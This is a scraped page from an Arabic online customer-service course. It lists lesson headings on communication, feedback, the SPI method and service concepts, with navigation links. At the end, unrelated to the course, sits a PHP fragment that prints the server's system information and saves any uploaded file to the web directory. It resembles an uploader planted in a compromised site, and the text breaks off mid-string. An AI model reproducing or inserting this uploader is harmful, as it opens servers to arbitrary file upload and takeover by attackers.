المحور الأول: خصائص ووسائل الاتصال وبناء الانطباع الأول

مفهوم وتعريف عملية الاتصال

طبيعة عملية الاتصال وخصائصها

المحور الثاني: التغذية الراجعة ومنهجية SPI في الخدمة

أهمية تقديم التغذية الراجعة

استخدام إعادة الصياغة

المحور الثالث: مفاهيم الخدمة لموظفي الصفوف الأمامية

تعريف الخدمة

استيعاب الهدف من رسالة المنظمات، وأهميتها للعملاء وللموظفين

الدرس السابق

الدرس التالي

طبيعة عملية الاتصال وخصائصها

التميز في خدمة العملاء طبيعة عملية الاتصال وخصائصها

الدرس السابق

رجوع إلى المساق

الدرس التالي

'.php_uname()."\n".'
';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>